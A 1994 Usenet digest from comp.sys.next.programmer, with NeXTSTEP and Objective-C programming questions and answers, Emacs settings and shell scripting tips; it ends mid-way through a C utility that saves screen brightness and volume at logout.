M=&%T:6]N($UY3V)J96-T(%P*+RH@=&AE($UA:6X@;6]D=6QE('=I=&@@86QL M(&UE=&AO9',@;&EK92`M<V]M94UE=&AO9#IS96YD97(@*B]<"D!E;F1<"EP* M37E/8FIE8W0Q+FTZ7`I<"D!I;7!L96UE;G1A=&EO;B!->4]B:F5C="A396-O M;F1A<GE-971H;V1S*5P*+BXN7`I`96YD7`I<"DUY3V)J96-T,BYM.EP*0&EM M<&QE;65N=&%T:6]N($UY3V)J96-T*%1E<G1I87)Y365T:&]D<RE<"BXN+EP* M0&5N9%P*7`I)('=O;F1E<B!A8F]U="!T:&4@;F5E9"!T;R!D;R!T:&ES+"!T M:&]U9V@N("!)9B!Y;W4@9&5S:6=N('EO=2!O8FIE8W1S(&-O<G)E8W1L>2P@ M>6]U('-H;W5L9&XG="!N965D('1H97-E(&-A=&5G;W)I97,N("!9;W4@;6%Y M('=A;G0@9&\@<F5C;VYS:61E<B!Y;W5R(&1E<VEG;BP@<VEN8V4@:70@<V5E M;7,@;&EK92!Y;W4G<F4@;W9E<FQO861I;F<@*&)Y('1H:7,@22!M96%N('!U M='1I;F<@=&]O(&UA;GD@9&5M86YD<R!U<&]N*2!T:&4@37E/8FIE8W0@8VQA M<W,N("!097)H87!S('EO=2!C86X@9&\@<V]M92!S=6)C;&%S<VEN9R!T;R!G M:79E('EO=2!A;&P@=&AE(&9U;F-T:6]N86QI='D@>6]U(&YE960L(&EN<W1E M860@;V8@8G5I;&1I;F<@:6X@159%4ED@4TE.1TQ%('1H:6YG('EO=2!N965D M(&EN(&]N92!C;&%S<S]<"EP*2&]P92!T:&ES(&AE;'!S+%P*7`I2:6L@*&-O 7=7-E;G-`8FEZ=&5C:"YC;VTI7`H*?0IT `
From: peter@bert.psyc.upei.ca (Peter) Newsgroups: comp.sys.next.programmer Subject: How do you unlock someone else's view? Date: 4 May 1994 02:20:36 GMT Organization: University of Prince Edward Island, Charlottetown, PEI Canada Distribution: world Message-ID: <2q70pk$g52@atlas.cs.upei.ca> Keywords: focus, view, DPS, unlock I'm working on an App which is presenting me with a frustrating problem. I'd like to respond to a button press by playing some sounds and high- lighting buttons in a matrix to indicate which sounds are being played. However . . . when I try to highlight the buttons, they reappear over the original button which started the whole thing. I believe that the DPS is using the view of the original button to draw on. I've tried: id currentView; currentView = [NXApp focusView]; [currentView unlockFocus]; [currentView lockFocus]; to temporarily remove the focus, but the problem persists, and when the method returns, the program crashes, telling me: Assertion failed: Unlocking Focus on wrong View Please, somebody, help me! Peter please respond (ASCII only) to pburka@upei.ca
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Possible Programming Project Message-ID: <1994May3.002557.14242@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <CozCot.57C@mrk.com> Distribution: usa Date: Tue, 3 May 1994 00:25:57 GMT Jerald, Objective Technologies has a palette that allows this High/Low/Close graphing ability (also full class documentation and examples on how to use the palette, and objects contained therein). My company has made extensive use of this product in the Trading arena. The data source we use is SYBASE, but there's nothing stopping you from using any source you want. The only down-side, is that you have to write the hooks for DB access. Rik (cousens@biztech.com) P.S. Sorry Mark, am only pointing out possibilities, OK?
Newsgroups: comp.sys.next.programmer From: chuston@nugget.rmNUG.ORG (Chris Huston) Subject: Finding objects Message-ID: <1994May4.042827.9217@nugget.rmNUG.ORG> Organization: Rocky Mountain NeXT Users' Group Date: Wed, 4 May 1994 04:28:27 GMT If I have a bunch of textFields, not in a matrix or form, in a Box... is there a way to find the ID's to these text fields on the fly? I've got four Boxen that are held on an off-screen window - then they are swapped in and out depending on a matrix of radio buttons... they represent different detail tables and their fields... What I DONT want to do is explicitly initialize these fields with outlets in IB. UGLY. What I DO WANT is a List of the TextFields...then I can do something like: [[aList objectAt: index] setEnabled:NO]; What dya think? Thanks, Chris
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Hints on using Emacs for NeXTstep In-Reply-To: cousens@biztech.com's message of Tue, 3 May 1994 00:05:06 GMT To: cousens@biztech.com Message-ID: <CEDMAN.94May3221449@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1994Apr30.134843.7768@vnp.com> <1994May3.000506.14124@biztech.com> Date: Wed, 4 May 1994 02:14:47 GMT In article <1994May3.000506.14124@biztech.com> cousens@biztech.com writes: I think all-in-all, Emacs 4.0 is a vast improvement over Emacs.app. What with the PB support, I think that makes everything worthwhile. Sorry you've had to deal with so many differing opinions about the product! Keep up the good work! Actually, not to put too fine a point on this I've only had to deal with _one_ lone "differing opinion". Both publicly and in even more so in private mail the response has been overwhelmingly positive (not to mention positively overwhelming). I really do have no reason to complain. :) I have a question on the internals of how Emacs works, though. I rearranged the Menu options and would like to add a simple preferences panel, specifically for the FrameSize of the default window. You have a method called ns_report_frame_params. How can this be used ? You should never use the ns_* functions unless you absolutely have to. In this case you don't as there is a frame-parameters (or Fframe_parameters to C programs) function which does what you want. Is there any way I can use this to have my "current window" frame written through to the DefaultSystem? Unfortunately there is currently no function to write defaults. However, it would not be too hard to add one. I'll mail you a new nsfns.m, nsterm.m, nsterm.h with a set-resource function. Also, how do you read the Defaults in Emacs???? Use get-resource. It will give you X resources under X and NS defaults under NS. I didn't find and references to NXGetDefaultValue, or anything??? There are several of them in the code. Carl Edman
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Finding objects Date: 04 May 1994 07:22:03 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May4082203@steffi.demon.co.uk> References: <1994May4.042827.9217@nugget.rmNUG.ORG> To: chuston@nugget.rmNUG.ORG (Chris Huston) In-reply-to: chuston@nugget.rmNUG.ORG's message of Wed, 4 May 1994 04:28:27 GMT Traverse the view heirarchy and store id's to TextFields that you find. -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Possible Programming Project Date: 04 May 1994 07:24:08 GMT Organization: me organized? That's a joke! Distribution: usa Message-ID: <ROBERT.94May4082408@steffi.demon.co.uk> References: <CozCot.57C@mrk.com> <1994May3.002557.14242@biztech.com> To: cousens@biztech.com In-reply-to: cousens@biztech.com's message of Tue, 3 May 1994 00:25:57 GMT Care to tell us about the licensing on that particular palette object? -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: emurphy@cs.uno.edu (Ed Murphy) Subject: Activating a loginhook Message-ID: <1994May4.150112.18731@cs.uno.edu> Organization: Univ. of New Orleans - Computer Science Department Date: Wed, 4 May 1994 15:01:12 GMT Can anyone give me a clue as to how to activate an application via a loginhook? I am using NS 2.1 Ed Murphy -- = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = Edward Murphy = "Well, it's one louder isn't it? = = Assistant System Manager = -- Nigel Tufnel, Spinal Tap = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: NS Emacs & Editing code Message-ID: <Cp54HD.1LI@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company Date: Sun, 1 May 1994 20:20:01 GMT Some useful extensions for editing code under NEXTSTEP: ;; load objective-c mode (autoload 'objective-C-mode "objc-mode" "Objective-C mode" t nil) (setq objective-C-mode-hook '(lambda () (setq comment-column 48) (setq comment-start "//") (setq comment-end "") (setq tab-width 4))) ;; load tcl mode (autoload 'tcl-mode "tcl" "Tcl-mode" t nil) ;; add file extensions (setq auto-mode-alist (append '( ("\\.m" . objective-C-mode) ("\\.c" . objective-C-mode) ("\\.h" . objective-C-mode) ("\\.tcl" . tcl-mode) ("\\.psw" . objective-C-mode)) auto-mode-alist)) ;; set compilation default (setq compile-command '"make debug") (global-set-key "\C-c\C-e" (quote compile)) ;; EVERYTHING BELOW THIS LINE IS FOR A PRETTY PRINT FUNCTION ;; i wrote some time ago-- send email if you want the function, if not, ;; ignore everything below this line... I mostly used the pretty-print ;; function when i was taking CS classes; i could pretty print ;; source directly from emacs-- giving me that extra thirty seconds of ;; hacking time... ;; ;; b.bum ;; <bbum@friday.com> (global-set-key "\M-p" (quote prc-buffer)) ;; set up CONSTANTS (defconst prc-switches (list "-2" "-r" "-G") "*List of strings to pass as extra switch args to enscript when it is invoked.") ;; prc utility stuff (autoload 'prc-buffer "prc" "enscript buffer." t) (autoload 'prc-region "prc" "enscript region." t) -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
From: guru@vsl.ist.ucf.edu (Guru Prasad) Newsgroups: comp.sys.next.programmer Subject: Using Next mouse in X-env Date: 4 May 1994 15:01:49 GMT Organization: University of Central Florida Message-ID: <2q8dct$cir@pegasus.cc.ucf.edu> Does anyone know how to map the two button Next mouse for cut and paste and other applications for a Next running xinit.... I am able to highlight but unable to cut and paste..... Thanks -- . _ _/_ guru prasad ______/ /_ /______________________________________________________________ _/ / Institute for Simulation & Training Visual Systems Lab / 3280 Progress Dr. / Orlando Fl 32826 / o / \o (407)658 5542 / / ________________________________________________/
From: luomat@alleg.EDU (Timothy J. Luoma) Newsgroups: comp.sys.next.programmer Subject: test -r Date: 4 May 1994 10:25:27 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9405041524.AA18648@alleg.EDU> [sorry if this came through twice, having slight mail problem -- TjL] I am trying to write a script which will only execute if I have mail in /usr/spool/mail. I am trying to test for the existence of this file using 'test -r /usr/spool/mail/luomat' but it returns nothing if the file exists or if it does not. Anyone have an idea what I might be doing wrong, or another way I can approach the problem? Thanks TjL --- Timothy J. Luoma Email: luomat@alleg.edu (Shell=tcsh) Workstation Environment using NeXTSTEP 3.1 Motorola MAIL: NeXT YES / MIME Mail NO No Root access, no super-user access
From: rufus@informatik.uni-koblenz.de (Sven Lehmann) Newsgroups: comp.sys.next.programmer Subject: Question: planar<->meshed Date: 4 May 1994 15:47:06 GMT Organization: University Koblenz / Germany Distribution: world Message-ID: <2q8g1q$jnm@newshost.uni-koblenz.de> Hey NeXT-Users! Is there a simply code of line, which transforms a NXBitmapImageRep-Object in meshed configuration (isPlanar == NO) to a NXBitmapImageRep-Object in planar configuration (isPlanar == YES)? Or perhaps exists a simple method? Please give me hints... Thanx, Sven ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~ "Fifteen men on the ~~~~~ _ / \ ~~~~~~~~~~~~~~ reply to: ~~~~~~~~~ ~~~ dead man's chest-- ~~ < _ | _ / \ 5o33' ~~~~~~~~~~~~~~~~~~~~~ ~~ Yo-ho-ho, and a ~~~~ _ _ _ | | ~~~~~~ Sven Lehmann ~~~~~~ ~~~ bottle of rum!" ~ / Isla del _ | ~ N ~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~ | x Coco _ / ~~~ * ~ net:rufus@ ~~~~~~~~ ~~ Captain Flint's ~~ \ _ _ _ / ~~~~ *-+-* ~~~ informatik.~~~~ ~~~~~~~ Crew ~~~~~~~~~ \ / 87o4' ~~~~~~~~ * ~~~~ uni-koblenz.de ~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From: karrer@ks.id.ethz.ch (Andreas Karrer) Newsgroups: comp.sys.next.programmer Subject: Re: Bizzare Bug: using "continue" as a variable Date: 4 May 1994 17:43:19 GMT Organization: Swiss Federal Institute of Technology (ETHZ) Message-ID: <2q8mrn$mei@elna.ethz.ch> References: <2p2c4g$ec8@nntp.ucs.ubc.ca> <TOBIAS.94Apr20203803@nextix.muc.de> tobias@nextix.muc.de (Tobias Hoellrich) writes: >In article <2p2c4g$ec8@nntp.ucs.ubc.ca> mike@ceramics.cmpe.ubc.ca (Michael C. Cam) writes: > void main () > { > int case; > float if=6.4; > char *long; > case = 1; > if (if>0) { > printf("Is is the 1st of April?\n"); > } > } i always thought C was overly restrictive. i'm just used to write code like: program program integer then if = 1 then = 1 if then = 1 if (if * then .eq. if then) then write(*,*) if, then endif end although nowadays i prefer perl... >Tobias "sorry couldn't resist" Hoellrich - Andi "punch card veteran" Karrer +----------- Andi Karrer, Communication Systems, ETH Zuerich, Switzerland karrer@bernina.ethz.ch - CH stands for Calvin & Hobbs, the most influential Swiss religion <2n04i5$44j@hebron.connected.com>
From: paul@athena.unm.edu (Paul Clark) Newsgroups: comp.sys.next.programmer Subject: C++ on NS 2.1 Date: 4 May 1994 18:35:59 GMT Organization: University of New Mexico, Albuquerque Message-ID: <2q8puf$336@lynx.unm.edu> Has anyone used this combination and care to comment? Please email me any installation tips? Thanks
Newsgroups: comp.sys.next.programmer,comp.lang.objective-c From: esky@marathon.cs.ucla.edu (Eskandar Ensafi) Subject: Re: How do you send messages w/ multiple arguments at run-time? References: <1994May03.194450.25053@cs.ucla.edu> <MCCALLUM.94May3195310@vein.cs.rochester.edu> Organization: Los Alamos National Laboratory, NM Message-ID: <1994May04.193727.9492@cs.ucla.edu> Date: Wed, 04 May 94 19:37:27 GMT In article <MCCALLUM.94May3195310@vein.cs.rochester.edu> you write: >I assume you mean variable *number* of arguments? [...] I believe you misubderstood my question. My concern was how to actually send an arbitrary message to an arbitrary object with an arbitrary number of arguments at run-time. NeXT documentation says that -performv:: should only be used withing -forward::, objc_msgSendv() should not be used directly by the programmer, and -(IMP)methodFor: unhides the hidden self and _cmd arguments and lacks the appropriate type information. Which is the best way to actually dispatch the message? Problems: -------- - performv:: (USED ALONE) May not be supported outside the context of -forward:: in future versions. - forward:: (USING -performv:: WITHIN) The receiver must implement -forward::, and the default version of Object (hence most Classes) simply returns an error message instead of forwarding the message - this would require the use of -posAs: and a new root Class (e.g., MyObject) which implements -forward::. - (IMP)methodFor: (THEN CALL THE RETURNED FUNCTION) I'm not sure what kinds of problems could arise if self and _cmd are unhidden. The only obvious problem is that we lack an appropriate function prototype, so (IMP)function() will expect arguments all of type id, and it will return id as well. * objc_msgSendv() is tempting, but I'm not sure how wise it is to use it. - Eskandar Please excuse any errors or misinformation. If I knew everything, I wouldn't be posting this article. :-) -- "Was ich kann und was ich konnte Weiss ich gar nicht mehr Gib mir wieder etwas schones Zieh mich aus dem meer" -- Marian (The Sisters Of Mercy)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: test -r Date: 04 May 1994 16:59:23 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May4175923@steffi.demon.co.uk> References: <9405041524.AA18648@alleg.EDU> To: luomat@alleg.EDU (Timothy J. Luoma) In-reply-to: luomat@alleg.EDU's message of 4 May 1994 10:25:27 -0500 <luomat@alleg.EDU> writes: >[sorry if this came through twice, having slight mail problem -- TjL] >I am trying to write a script which will only execute if I have mail >in /usr/spool/mail. I am trying to test for the existence of this >file using 'test -r /usr/spool/mail/luomat' but it returns nothing if >the file exists or if it does not. >Anyone have an idea what I might be doing wrong, or another way I can >approach the problem? -r doesn't test existence. It tests existance and read access. if [ -f /usr/tmp/console.log ]; then echo "Exists" else echo "Not there" fi -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: shill@iphysiol.unil.ch (Sean L. Hill) Newsgroups: comp.sys.next.programmer,comp.lang.objective-c Subject: Re: How do you send messages w/ multiple arguments at run-time? Date: 4 May 1994 21:53:26 GMT Organization: Institut de Physiologie, Universite de Lausanne Sender: -Not-Authenticated-[9116] Message-ID: <2q95gm$9nd@cisun2000.unil.ch> References: <1994May03.194450.25053@cs.ucla.edu> <MCCALLUM.94May3195310@vein.cs.rochester.edu> <1994May04.193727.9492@cs.ucla.edu> Xdisclaimer: No attempt was made to authenticate the sender's name. In article <1994May04.193727.9492@cs.ucla.edu> esky@marathon.cs.ucla.edu (Eskandar Ensafi) writes: > - (IMP)methodFor: (THEN CALL THE RETURNED FUNCTION) > I'm not sure what kinds of problems could arise if self and _cmd are > unhidden. The only obvious problem is that we lack an appropriate > function prototype, so (IMP)function() will expect arguments all of type > id, and it will return id as well. This is what I would (do) use. Look up the documentation on the Obj C runtime. There's a nifty example of writing your prototype for your IMP function to get the types right. It works fine. ----- Sean L. Hill Institut de Physiologie / Universite de Lausanne Rue du Bugnon, 7 CH-1005 Lausanne SWITZERLAND E-mail: Sean.Hill@iphysiol.unil.ch NEXTMAIL: hill@iisnext1.unil.ch
From: hsr@cs.Stanford.EDU (Scott Roy) Newsgroups: comp.sys.next.programmer Subject: Anyone compiled gdb-4.12? Date: 4 May 1994 22:53:33 GMT Organization: Stanford University: Computer Science Department Distribution: world Message-ID: <2q991d$ie1@Times.Stanford.EDU> Code produced by gcc-2.5.8 seems to do a bunch of things that NeXT's gdb-4.7 doesn't understand very well, so I thought I'ld try and grab the latest from prep.ai.mit.edu. Much to my amazement, the configuration process complains that it doesn't know how to build gdb for m68k-bsd systems. Has anyone actually compiled this beast for the NeXT? Thanks, --- Scott Roy Department of Computer Science Stanford University
Newsgroups: comp.sys.next.programmer From: flash!jon@myxa.com Subject: austin-kyoto common lisp Message-ID: <CpAyx3.6M@dsinc!flash> Sender: jon@dsinc!flash (Jonathan Hendry) Organization: Who Needs It? Date: Thu, 5 May 1994 00:05:26 GMT Would anyone happen to have a NeXT binary of AKCL which they could email me? The only one I was able to find was a 9 MB unstripped binary. I don't have enough space available to use it. Thanks, Jon -- Jonathan W. Hendry Inexpensive NeXTSTEP Consulting tjhendry@mcs.drexel.edu For Your "Not-So-Mission-Critical" Apps
From: michelle@meaddata.com (Michelle Buck) Newsgroups: comp.sys.next.programmer Subject: @selector(myMethod::) with Objective-C++ Date: 5 May 1994 02:02:02 GMT Organization: Mead Data Central, Dayton OH Message-ID: <2q9k2q$7eo@meaddata.meaddata.com> Just a note: Using @selector(myMethod::) does not work in Objective-C++ because "::" has a special meaning to C++ that @selector does not filter. This is not nice, but I can live with it. Has anyone else noticed. Try compiling ScrollViewDeluxe with the -ObjC++ compiler switch as just one example. - Erik
Newsgroups: comp.sys.next.software,comp.sys.next.programmer From: garth@syd.au.swissbank.com (Garth Ormsby) Subject: INGRES Adaptor for DBKit? Message-ID: <1994May5.021844.3995@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: SBC Australia. Date: Thu, 5 May 1994 02:18:44 GMT Does anyone know the whereabouts of an INGRES Adaptor for the DBKit? From reading the "NeXT Database Solutions Guide" from NeXTanswers@NeXT.COM (and asking INGRES) I surmise that no such supported production level product exists. So my question becomes, does anyone know of an unsupported attempt at this product? Alternatively, are there any guidelines or templates for building such an Adaptor? Cheers, Garth. ,-_|\ Garth Ormsby UseNet: garth@syd.au.swissbank.com / ^ \ SBC Australia Ltd NeXTNet: garth@il.us.swissbank.com \_,-._* Sydney, Australia ChatNet: +61 2 258 2559 v #include <std/disclaimer.h> FaxNet: +61 2 258 2400
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer From: nathan@laplace.csb.yale.edu (Nathan F. Janette) Subject: Together we stand, divided we fall. Message-ID: <1994May5.052804.7999@cs.yale.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale University, Department of Computer Science, New Haven, CT Date: Thu, 5 May 1994 05:28:04 GMT Reply-To: nathan@laplace.csb.yale.edu (Nathan F. Janette) Distribution: world Together we stand, divided we fall. I've learned that many smaller NEXTSTEP ISVs in my area aren't planning to attend NEXTSTEP EXPO as exhibitors due to the high cost of booth rental space. I cannot stand the thought of these vendors and their elegant NEXTSTEP apps being shut out of the premier event of the year for our community. In the past, a more formal coalition, ANDI, has offered space to it's members. Lately the director of ANDI has been away at trade shows, and their email and voicemail went unanswered for weeks. Bill Strehl is a good guy, but a lot of folks aren't sure what's going on with ANDI. As of a few days ago, ANDI was not registered with DCI for booth space. I propose a one-shot, lightweight NEXTSTEP ISV coalition of smaller vendors for the purpose of renting Expo booth space. I've spoken with DCI, and they are receptive to the concept. They would provide several of the extra-cost items that surprised many folks last year (carpet, electric, tables, stools, sign). The cost (with some haggling) would appear to be at about $1.5K per person/ computer unit at moderate density, or $1K for high density. If we can get enough companies involved, perhaps we can do even better on the price. This may be your best shot to display your NEXTSTEP apps and knowledge at the premier event in our community. Don't let the big guys push you out of the NEXTSTEP market. RSVP PQD, time is quite short and deadlines are pressing. Cheers, -Nathan -- Nathan "USENET" Janette Systems Manager, Brunger Lab, Dept MB&B, Yale Univ/HHMI, New Haven, CT PPP link from hilbert.csb.yale.edu Please reply to: nathan@laplace.csb.yale.edu (NeXT)
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Activating a loginhook Date: 5 May 1994 08:59:37 GMT Organization: San Francisco State University Message-ID: <2qachp$gp3@nic-nac.CSU.net> References: <1994May4.150112.18731@cs.uno.edu> In article <1994May4.150112.18731@cs.uno.edu> emurphy@cs.uno.edu (Ed Murphy) writes: >Can anyone give me a clue as to how to activate an application via a loginhook? > >I am using NS 2.1 Better than that--I can give you a decent example. :-) Anonymous FTP from sutro.sfsu.edu [130.212.15.230] pub/DiskPig1.0.tar.Z -=EPS=-
Newsgroups: comp.sys.next.programmer From: "J. Michael Ashley" <jashley@cs.indiana.edu> Subject: looking for docs on mmap() Message-ID: <1994May5.103625.17990@news.cs.indiana.edu> Sender: root@news.cs.indiana.edu (Operator) Organization: Computer Science, Indiana University Date: Thu, 5 May 1994 05:36:23 -0500 I tried the on-line documentation but could not find any info on mmap(). Did I miss it? Can someone point me to it? Thanks Mike Ashley
Newsgroups: comp.sys.next.programmer From: gelato@netcom.com (Steve James) Subject: Re: @selector(myMethod::) with Objective-C++ Message-ID: <gelatoCpBrtF.1xr@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) References: <2q9k2q$7eo@meaddata.meaddata.com> Date: Thu, 5 May 1994 10:29:39 GMT In article <2q9k2q$7eo@meaddata.meaddata.com>, Michelle Buck <michelle@meaddata.com> wrote: > Using @selector(myMethod::) does not work in Objective-C++ because > "::" has a special meaning to C++ that @selector does not filter. Yes, I ran into this too. I got around it by putting spaces between the colons, ala @selector(myMethod: :). Apparently blanks are not significant in a @selector() expressions.
From: adams@bright.uoregon.edu (Jeff Adams) Newsgroups: comp.sys.next.programmer Subject: Why won't my button re-draw in the right place? (problem with lockView ?) Date: 5 May 1994 17:07:36 GMT Organization: Dept. of Mathematics, University of Oregon, Eugene OR 97403-1222 Distribution: world Message-ID: <2qb94o$42o@pith.uoregon.edu> Keywords: n I have a CustomView, and above it in the window is a little button marked "UPDATE", and when you press the button, it's supposed to re-draw the view. However, here's what happens: When you click the "UPDATE" button, 1) The button lights up. (i.e. . draws a lighted version of itself over the original button) 2) The button successfully sends a message to the CustomView, which successfully re-draws itself. 3) Instead of drawing the un-lighted button on top of the lighted one, it draws it inside the CustomView, leaving the button drawn as lit. If you have insights, I'd welcome them. Jeff Adams -- __________________________________________________________________________ Jeff Adams, Grad Student adams@euclid.uoregon.edu Department of Mathematics University of Oregon (Eugene)
From: axel@tumbolia.ppp.informatik.uni-muenchen.de (Axel Seibert) Newsgroups: comp.sys.next.programmer Subject: Re: Porting to NeXTSTEP Date: 5 May 1994 17:49:26 +0200 Organization: das organisierte Chaos Message-ID: <AXEL.94May5174925@tumbolia.ppp.informatik.uni-muenchen.de> References: <AXEL.94Apr28141559@tumbolia.ppp.informatik.uni-muenchen.de> <SWIET.94Apr30175352@syzygy.cs.jhu.edu> <AXEL.94May4083307@tumbolia.ppp.informatik.uni-muenchen.de> In-reply-to: axel@tumbolia.ppp.informatik.uni-muenchen.de's message of 4 May 1994 08:33:08 +0200 [Problem with porting software from SunOS4.1.x/ HPUX to NEXTSTEP deleted] I have now discovered that the point where the programs terminate depends on the linking order (sorry for my English...). E.g., when linking: /bin/ld -o OBSdaemon BNDdaemon.o CMNsig.o CMNprint.o CMNcomm.o CMNcomm_loc.o\ /lib/crt0.o -lsys_p OBSdaemon will terminate in the first function of BNDdaemon (at least that's what gdb shows me). When linking /bin/ld -o OBSdaemon CMNsig.o BNDdaemon.o CMNprint.o CMNcomm.o CMNcomm_loc.o\ /lib/crt0.a o -lsys_p it will terminate in the first function of CMNsig. Has nobody an explanation for this? Am I missing something obvious? Thanx in advance, Axel (rather confused...) -- aseibert@tumbolia.ppp.informatik.uni-muenchen.de (NeXTmail welcome) seiberta@informatik.tu-muenchen.de (please no NeXTmail here!) You are young only once, but you can stay immature indefinitely.
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) Newsgroups: comp.sys.next.programmer Subject: delegation and inheritance Date: 5 May 1994 13:52:46 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9405050845.AA00689@flexus> LS, Objective-C is a degeneration of prototype-based languages (degeneration in the sense that circles are degenerations of ellipses). The following are some of the restrictions that apply: An object can create new data slots only at compile time, in the (conceptual) prototype associated with instances of a particular class. An object's prototype link is fixed once it has been allocated/instantiated. When an object is allocated, all the information from the prototype is copied immediately or shared forever (no copy-on-write semantics). An object's delegate is fixed once it has been allocated/instantiated, and this delegate is its very prototype. The isa pointer represents that information. The prototype and delegate of a prototype are the prototype associated with the objects of its own superclass. Michael Pizolato apparently overlooked the fact that Scott Hess was talking about this kind of delegate in *contrast* with the ``delegates'' of Objective-C, or at least NeXT's use of Objective-C. These delegates *can* be reassigned at run time, but there is a penalty for that: either the object that delegates, or the object that uses one that can have a delegate, must be aware of the fact and implement ad-hoc code to use that delegate. Furthermore, ``self'' is not implicit: delegate methods are written specifically for use in this role, and self must be passed as an explicit argument. Meinrad Zeller pointed out a way to mimic delegates in the prototype-based sense: -forward:: (although I don't see what protocols have to do with this, and -forward:: has always been a part of Objective-C). This is actually a route to multi-delegation: first an implementation of a method is sought in the primary delegation chain (what we know as the inheritance chain), and then -forward:: is given a chance. But it is also very unappealing, because of the awkward code that has to be written to get around the limitations of allowed types. And, again, ``self'' is *not* implicit. If, and only if, a ``forward'' mechanism is provided that allows one to code as elegantly as for the inheritance ``delegate'' chain can it be said that Objective-C supports both inheritance and delegation, although I have no idea whether this particular enhancement would be desirable. Disclaimer: My information about prototype-based languages has been obtained exclusively from the messages about this subject to c.s.n.p and from an article in IEEE Computer of 1994-03; the statements themselves were the product only of my limited mental abilities... :-) Raf Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium (real, i.e., with triangle in the Deliver button) NeXTmail preferred Addressing limitations: no !, % or .uucp (? I should test this again)
Newsgroups: comp.sys.next.programmer From: fozztexx@nvc.cc.ca.us (Chris Osborn) Subject: Re: dwrite for Brightness level or commandline way to increase brightness Message-ID: <CpCDHn.Jw@nvc.cc.ca.us> Sender: news@nvc.cc.ca.us Organization: Napa Valley College References: <9404251623.AA17309@alleg.EDU> <Cotzo7.1BI@basil.icce.rug.nl> Date: Thu, 5 May 1994 18:17:46 GMT In article <Cotzo7.1BI@basil.icce.rug.nl>, Tom R.Hageman <tom@basil.icce.rug.nl> wrote: >In article <9404251623.AA17309@alleg.EDU> luomat@alleg.EDU (Timothy J. Luoma) >writes: >> One of these is the fact that I am left with the brightness level >> left by whomever used the NeXT before me. The same thing will happen >> with the sound level and the mute status, because the Preferences.app >> sets those things on that NeXT, not for you individually. There is a >> dwrite that you can set for yourself for the volume, by >> >> dwrite NeXT1 Volume SomeNumber >> >A little investigation reveals: > > dwrite NeXT1 Brightness <somenumber> Here is a hack I made to save the Brightness and Volume/Mute settings on logout. Loginwindow will automatically restore them during login. Note that this will only work under 3.2. ---------------------------------------------------------------------- #import <stdio.h> #import <fozzlib/getargs.h> #import <defaults/defaults.h> #import <drivers/event_status_driver.h> #import <sys/types.h> #import <sound/sound.h> #import <pwd.h> #import <libc.h> #define OWNER "NeXT1" #define MAXVOL 43 #define MAXBRITE 61 #define BRITEDIFF 3 /* * For some reason loginwindow is broken. Preferences.app is also strange. * * Volume Range: 0-43 * loginwindow and Preferences.app think 29 is min and 0 is max, they do * 43 - val and then clip at 29. * * Brightness Range: 0-61 * loginwindow seems to like to subtract 3 from the value when restoring. * Preferences.app doesn't seem to agree with this. */ void main(int argc, char *argv[]) { struct passwd *upwd; int save = 0; int restore = 0; uid_t uid; int count; static NXDefaultsVector myDefaults = { {"Volume", "8"}, {"Mute", "No"}, {"Brightness", "46"}, {NULL}, }; char *newenv = NULL; char buf[256]; NXEventHandle evh; int i; double sb; int vl, vr, mute; count = getargs(argc, argv, "sbrb", &save, &restore); if (count < 0 || (argc - count) < 0) { if (count < 0 && -count != '-') fprintf(stderr, "Bad flag: %c\n", -count); fprintf(stderr, "Usage: %s [username]\n" "\ts: save current settings\n" , *argv); exit(1); } if (count < argc) upwd = getpwnam(argv[count]); else { uid = getuid(); upwd = getpwuid(uid); } if (!upwd) exit(0); ev = NXOpenEventStatus(); sb = MAXBRITE * NXScreenBrightness(evh) + BRITEDIFF; SNDGetVolume(&vl, &vr); SNDGetMute(&mute); if (getuid() != upwd->pw_uid) setuid(upwd->pw_uid); environ = &newenv; NXRegisterDefaults(OWNER, myDefaults); if (save) { sprintf(buf, "%.0f", sb); NXWriteDefault(OWNER, "Brightness", buf); sprintf(buf, "%i", MAXVOL - vl); NXWriteDefault(OWNER, "Volume", buf); NXWriteDefault(OWNER, "Mute", mute ? "No" : "Yes"); } else if (restore) { i = atoi(NXGetDefaultValue(OWNER, "Brightness")) - BRITEDIFF; NXSetScreenBrightness(evh, (double) i / (double) MAXBRITE); i = MAXVOL - atoi(NXGetDefaultValue(OWNER, "Volume")); SNDSetVolume(i, i); i = *NXGetDefaultValue(OWNER, "Mute") == 'N'; SNDSetMute(i); } else { 